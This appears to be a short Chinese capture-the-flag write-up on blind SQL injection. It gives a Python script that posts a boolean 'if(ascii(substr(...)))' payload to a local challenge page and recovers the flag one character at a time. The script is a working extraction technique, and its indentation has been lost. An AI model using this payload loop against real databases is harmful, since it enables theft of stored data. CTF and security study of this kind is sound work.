
输入1 得到的是

输入2得到的是

从这里可以找到一个不同的地方,开始写python代码
import requests
flag=""
a = "Hello, glzjin wants a girlfriend." #成功后的显示
url = "http://localhost/index.php" #题目网址
for i in range(1,50):
for j in range(1,128): #两个循环
payload = "if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,2)".format(i,j) #运行这个代码,使用循环找到这两个数
aaa = {'id': payload} #将这两个数配成字典
r = requests.post(url, data=aaa)
b = r.text
if a in b: #如果a是在b里面则记入到flag里面
flag += chr(j)
print(flag)
break

结束!
本文介绍了一种通过Python脚本进行SQL注入攻击的方法。利用循环遍历的方式,构造payload并发送POST请求来获取目标网站的flag信息。代码示例清晰地展示了如何通过自动化手段收集敏感数据。
678

被折叠的 条评论
为什么被折叠?



